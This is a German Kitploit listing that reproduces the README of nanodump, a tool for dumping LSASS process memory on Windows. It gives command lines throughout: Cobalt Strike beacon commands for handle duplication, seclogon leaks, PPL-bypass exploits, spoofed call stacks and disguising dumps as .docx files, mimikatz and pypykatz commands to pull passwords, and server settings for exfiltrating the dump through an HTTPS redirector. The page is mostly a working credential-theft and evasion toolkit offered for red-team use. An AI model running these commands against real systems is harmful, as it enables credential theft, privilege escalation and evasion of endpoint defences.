Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
nanodump — Das Schweizer Taschenmesser des LSASS-Dumpings | Kitploit
Tools/GitHubGitHub/fortra/nanodump
Privilege EscalationSpeicherforensikExploitationPost-ExploitationPenetrationstestsRed TeamingPayload-Entwicklung
GitHubfortra/nanodump

nanodump

Das Schweizer Taschenmesser des LSASS-Dumpings

Repository anzeigen
2.1k27217vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

NanoDump

Ein flexibles Tool, das einen Minidump des LSASS-Prozesses erstellt.

Bildschirmfoto

Inhaltsverzeichnis

  1. Verwendung
  2. Funktionen
  3. Kombination von Techniken
  4. Beispiele
  5. HTTPS-Weiterleitungen

1. Verwendung

root@kitploit:~
usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
    --write DUMP_PATH, -w DUMP_PATH
            filename of the dump
    --valid, -v
            create a dump with a valid signature
Obtain an LSASS handle via:
    --duplicate, -d
            duplicate a high privileged existing LSASS handle
    --duplicate-elevate, -de
            duplicate a low privileged existing LSASS handle and then elevate it
    --seclogon-leak-local, -sll
            leak an LSASS handle into nanodump via seclogon
    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH
            leak an LSASS handle into another process via seclogon and duplicate it
    --seclogon-duplicate, -sd
            make seclogon open a handle to LSASS and duplicate it
    --spoof-callstack, -sc
            open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
            force WerFault.exe to dump LSASS via SilentProcessExit
    --shtinkering, -sk
            force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
    --fork, -f
            fork the target process before dumping
    --snapshot, -s
            snapshot the target process before dumping
Avoid opening a handle with high privileges:
    --elevate-handle, -eh
            open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
    --getpid
            print the PID of LSASS and leave
    --chunk-size
            chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
    --help, -h
            print this help message and leave

Klonen

root@kitploit:~
git clone https://github.com/fortra/nanodump.git

Kompilieren (optional)

Unter Linux mit MinGW

root@kitploit:~
make -f Makefile.mingw

Unter Windows mit MSVC (keine BOF-Unterstützung)

root@kitploit:~
nmake -f Makefile.msvc

Importieren (nur CobaltStrike)

Importieren Sie das Skript NanoDump.cna in Cobalt Strike.

Ausführen

Führen Sie den Befehl nanodump in der Beacon-Konsole oder die Binärdatei nanodump.x64.exe aus.

Signatur wiederherstellen

Wenn Sie das Flag --valid nicht angegeben haben, müssen Sie die ungültige Signatur wiederherstellen.

root@kitploit:~
scripts/restore_signature <dumpfile>

Die Geheimnisse abrufen

mimikatz:
Um die Geheimnisse abzurufen, führen Sie einfach Folgendes aus:

root@kitploit:~
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit

pypykatz:
Wenn Sie lieber unter Linux bleiben möchten, können Sie den Python3-Port von mimikatz namens pypykatz verwenden:

root@kitploit:~
python3 -m pypykatz lsa minidump <dumpfie>

2. Funktionen

Prozess-Forking

Um zu vermeiden, einen Handle zu LSASS mit PROCESS_VM_READ zu öffnen, können Sie den Parameter --fork verwenden.
Dies veranlasst nanodump, einen Handle zu LSASS mit PROCESS_CREATE_PROCESS-Zugriff zu erstellen und dann einen 'Klon' des Prozesses zu erzeugen. Dieser neue Prozess wird dann gedumpt. Dies führt zwar zur Erstellung und Löschung eines Prozesses, vermeidet jedoch das direkte Lesen von LSASS.

Snapshot

Ähnlich wie die Option --fork können Sie --snapshot verwenden, um einen Snapshot des LSASS-Prozesses zu erstellen.
Dies veranlasst nanodump, einen Handle zu LSASS mit PROCESS_CREATE_PROCESS-Zugriff zu erstellen und dann einen Snapshot des Prozesses mit PssNtCaptureSnapshot zu erzeugen. Dieser neue Prozess wird dann gedumpt. Der Snapshot wird nach Abschluss automatisch freigegeben.

Handle-Duplizierung

Da das Öffnen eines Handles zu LSASS erkannt werden kann, kann nanodump stattdessen nach vorhandenen Handles zu LSASS suchen.
Wenn einer gefunden wird, wird er kopiert und zum Erstellen des Minidumps verwendet.
Beachten Sie, dass ein solcher Handle nicht garantiert gefunden wird.

Handle erhöhen

Sie können einen Handle zu LSASS mit PROCESS_QUERY_LIMITED_INFORMATION erhalten, der wahrscheinlich auf der Whitelist steht, und diesen Handle dann durch Duplizieren erhöhen.

Seclogon-Handle lokal leaken

Um das Öffnen eines Handles zu LSASS zu vermeiden, können Sie den Seclogon-Dienst missbrauchen, indem Sie CreateProcessWithLogonW aufrufen, um einen LSASS-Handle in die nanodump-Binärdatei zu leaken.
Um diese Funktion zu aktivieren, verwenden Sie den Parameter --seclogon-leak-local.
Beachten Sie, dass bei Verwendung von Cobalt Strike eine unsignierte nanodump-Binärdatei auf die Festplatte geschrieben werden muss, um diese Funktion zu nutzen.

Seclogon-Handle remote leaken

Diese Technik ist der vorherigen sehr ähnlich, aber anstatt den Handle in nanodump zu leaken, wird er in eine andere Binärdatei geleakt und dann dupliziert, sodass nanodump ihn verwenden kann. Verwenden Sie das Flag --seclogon-leak-remote, um auf diese Funktion zuzugreifen.

Seclogon-Handle-Duplizierung

Sie können den Seclogon-Prozess dazu verleiten, einen Handle zu LSASS zu öffnen und zu duplizieren, bevor er geschlossen wird, indem Sie durch Dateisperren eine Race Condition gewinnen. Verwenden Sie das Flag --seclogon-duplicate, um auf diese Funktion zuzugreifen.

nanodump als SSP laden

Sie können nanodump als SSP in LSASS laden, um das Öffnen eines Handles zu vermeiden.
Wenn die DLL in LSASS geladen wurde, werden die Parameter über eine Named Pipe übergeben, und sobald der Dump abgeschlossen ist, gibt DllMain FALSE zurück, damit LSASS die nanodump-DLL entlädt.
Sie können die Parameter in die DLL hartkodieren und die Named Pipe vollständig vermeiden, indem Sie das Compiler-Flag PASS_PARAMS_VIA_NAMED_PIPES=0 verwenden.

Hochladen und Laden einer nanodump-DLL

Standardmäßig wird eine unsignierte nanodump-DLL in den Temp-Ordner hochgeladen, der automatisch gelöscht wird.

root@kitploit:~
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp

Wenn Sie eine bereits vorhandene DLL laden möchten, können Sie Folgendes ausführen:

root@kitploit:~
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll

PPL-Dump-Exploit

Wenn LSASS als Protected Process Light (PPL) ausgeführt wird, können Sie versuchen, diese durch einen von Project Zero entdeckten Userland-Exploit zu umgehen. Bei Erfolg wird der Dump auf die Festplatte geschrieben.

Beachten Sie, dass diese Sicherheitslücke im Juli-2022-Update-Pack behoben wurde (Windows 10 21H2 Build 19044.1826)

Um auf diese Funktion zuzugreifen, verwenden Sie den Befehl nanodump_ppl_dump

root@kitploit:~
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp

PPL-Medic-Exploit

Nanodump implementiert auch den PPLMedic-Exploit, der auf Systemen funktioniert, die das Juli-2022-Update-Pack installiert haben. Die Parameter werden über eine Named Pipe an die nanodump-DLL übergeben. Sie können die Parameter in die DLL hartkodieren und die Named Pipe vollständig vermeiden, indem Sie das Compiler-Flag PASS_PARAMS_VIA_NAMED_PIPES=0 verwenden.

Um auf diese Funktion zuzugreifen, verwenden Sie den Befehl nanodump_ppl_medic

root@kitploit:~
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp

WerFault

Sie können den WerFault.exe-Prozess zwingen, einen vollständigen Speicherabbild von LSASS zu erstellen. Beachten Sie, dass dies Schreibzugriff auf die Registry erfordert.

Da der Dump nicht von nanodump erstellt wird, hat er immer eine gültige Signatur.

Silent Process Exit

Um die Silent Process Exit-Technik zu nutzen, verwenden Sie den Parameter --silent-process-exit und den Pfad, in dem der Dump erstellt werden soll.

root@kitploit:~
beacon> nanodump --silent-process-exit C:\Windows\Temp\

Es wird auch ein Dump des nanodump-Prozesses erstellt, etwa wie folgt:

root@kitploit:~
PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'

Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/23/2022   7:40 AM       58830409 lsass.exe-(PID-648).dmp
-a----         6/23/2022   7:40 AM        7862825 nanodump.x64.exe-(PID-3224).dmp

Shtinkering

Sie können auch die Shtinkering-Technik verwenden, die erfordert, dass nanodump unter SYSTEM läuft:

root@kitploit:~
beacon> nanodump --shtinkering

Der Dump wird typischerweise unter C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps erstellt.

Callstack fälschen

Sie können einen Handle zu LSASS mit einem gefälschten Callstack öffnen, um den Funktionsaufruf etwas legitimer erscheinen zu lassen (insbesondere wenn als BOF ausgeführt).
Um auf diese Funktion zuzugreifen, verwenden Sie den Parameter --spoof-callstack.

3. Kombination von Techniken

Sie können viele Techniken kombinieren, um die Arbeitsweise von nanodump anzupassen.
Die folgende Tabelle zeigt, welche Flags zusammen verwendet werden können.

4. Beispiele

LSASS indirekt auslesen, indem ein Fork erstellt und der Dump mit ungültiger Signatur auf die Festplatte geschrieben wird:

root@kitploit:~
beacon> nanodump --fork --write C:\lsass.dmp

Den Seclogon-Leak-Remote verwenden, um einen LSASS-Handle in einen Notepad-Prozess zu leaken, diesen Handle duplizieren, um Zugriff auf LSASS zu erhalten, dann indirekt durch Erstellen eines Forks lesen und den Dump mit gültiger Signatur herunterladen:

root@kitploit:~
beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid

Einen Handle mit Seclogon-Leak-Local abrufen, LSASS indirekt mit einem Fork auslesen und den Dump mit gültiger Signatur auf die Festplatte schreiben (eine nanodump-Binärdatei wird hochgeladen!):

root@kitploit:~
beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp

Den Dump mit ungültiger Signatur herunterladen (Standard):

root@kitploit:~
beacon> nanodump

Einen vorhandenen Handle duplizieren und den Dump mit ungültiger Signatur auf die Festplatte schreiben:

root@kitploit:~
beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx

Die PID von LSASS abrufen:

root@kitploit:~
beacon> nanodump --getpid

Nanodump als SSP in LSASS laden (eine nanodump-Binärdatei wird hochgeladen!):

root@kitploit:~
beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp

LSASS dumpen, indem PPL mit dem PPLDump-Exploit umgangen wird, wobei der Handle, den csrss.exe auf LSASS hat, dupliziert wird:

root@kitploit:~
beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp

LSASS dumpen, indem PPL mit dem PPLMedic-Exploit umgangen wird, wobei ein Handle mit niedrigen Berechtigungen zu LSASS geöffnet und dann erhöht wird:

root@kitploit:~
beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp

Seclogon dazu verleiten, einen Handle zu LSASS zu öffnen und zu duplizieren, dann den Dump mit ungültiger Signatur herunterladen:

root@kitploit:~
beacon> nanodump --seclogon-duplicate

Den WerFault.exe-Prozess zwingen, einen vollständigen Speicherabbild im Temp-Ordner zu erstellen:

root@kitploit:~
beacon> nanodump --werfault C:\Windows\Temp\

Einen Handle zu LSASS mit gefälschtem Callstack öffnen und den Minidump mit ungültiger Signatur herunterladen:

root@kitploit:~
beacon> nanodump --spoof-callstack

Die Shtinkering-Technik verwenden:

root@kitploit:~
beacon> nanodump --shtinkering

Einen Handle mit Seclogon-Leak-Local abrufen und den Dump mit der Shtinkering-Technik erstellen:

root@kitploit:~
beacon> nanodump --seclogon-leak-local --shtinkering

Einen Handle mit niedrigen Berechtigungen abrufen und mit elevate handle erhöhen:

root@kitploit:~
beacon> nanodump --elevate-handle

Einen Handle mit niedrigen Berechtigungen durch einen gefälschten Callstack abrufen und mit elevate handle erhöhen:

root@kitploit:~
beacon> nanodump --elevate-handle --spoof-callstack

Einen vorhandenen Handle mit niedrigen Berechtigungen duplizieren und mit elevate handle erhöhen:

root@kitploit:~
beacon> nanodump --duplicate-elevate

5. HTTPS-Weiterleitungen

Wenn Sie einen HTTPS-Redirector verwenden (was Sie tun sollten), könnten Sie Probleme beim dateilosen Herunterladen des Dumps aufgrund der Größe der Anfragen haben, die den Dump leaken.
Erhöhen Sie die maximale Größe von Anfragen auf Ihrem Webserver, damit nanodump den Dump herunterladen kann.

NGINX

root@kitploit:~
location ~ ^...$ {
    ...
    client_max_body_size 50M;
}

Apache2

root@kitploit:~
<Directory "...">
    LimitRequestBody  52428800
</Directory>

Danksagungen

  • skelsec für das Schreiben von minidump, das entscheidend für das Erlernen des Minidump-Dateiformats war.
  • freefirex von CS-Situational-Awareness-BOF bei Trustedsec für viele clevere Tricks für BOFs.
  • Jackson_T für SysWhispers2
  • BillDemirkapi für Process Forking
  • Antonio Cocomazzi für Abusing leaked handles to dump LSASS memory und Racing for LSASS dumps
  • xpn für Exploring Mimikatz - Part 2 - SSP
  • Matteo Malvica für Evading WinDefender ATP credential-theft: a hit after a hit-and-miss start
  • James Forshaw für Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege
  • itm4n für die ursprüngliche Implementierung der PPL-Userland-Exploits, PPLDump und PPLMedic.
  • Asaf Gilboa für Lsass Memory Dumps are Stealthier than Ever Before - Part 2 und die Shtinkering-Technik.
Tool herunterladen
--write--valid--duplicate--elevate-handle--duplicate-elevate--seclogon-leak-local--seclogon-leak-remote--seclogon-duplicate--spoof-callstack--silent-process-exit--shtinkering--fork--snapshotSSPPPL_DUMPPPL_MEDIC
--write✓✓✓✓✓✓✓✓✓✓✓✓✓
--valid✓✓✓✓✓✓✓✓✓✓✓✓✓
--duplicate✓✓✓✓✓✓✓
--elevate-handle✓✓✓✓✓✓✓✓
--duplicate-elevate✓✓✓✓✓✓
--seclogon-leak-local✓✓✓✓✓✓
--seclogon-leak-remote✓✓✓✓✓✓
--seclogon-duplicate✓✓✓✓✓✓
--spoof-callstack✓✓✓✓✓✓✓
--silent-process-exit✓
--shtinkering✓✓✓✓✓✓✓✓
--fork✓✓✓✓✓✓✓✓✓✓
--snapshot✓✓✓✓✓✓✓✓✓✓
SSP✓
PPL_DUMP✓✓✓✓
PPL_MEDIC✓✓✓✓
  • William Burgess für Spoofing Call Stacks To Confuse EDRs
  • Sebastian Feldmann und Fabian für die elevate handle-Technik, die in Morph Your Malware! besprochen wurde.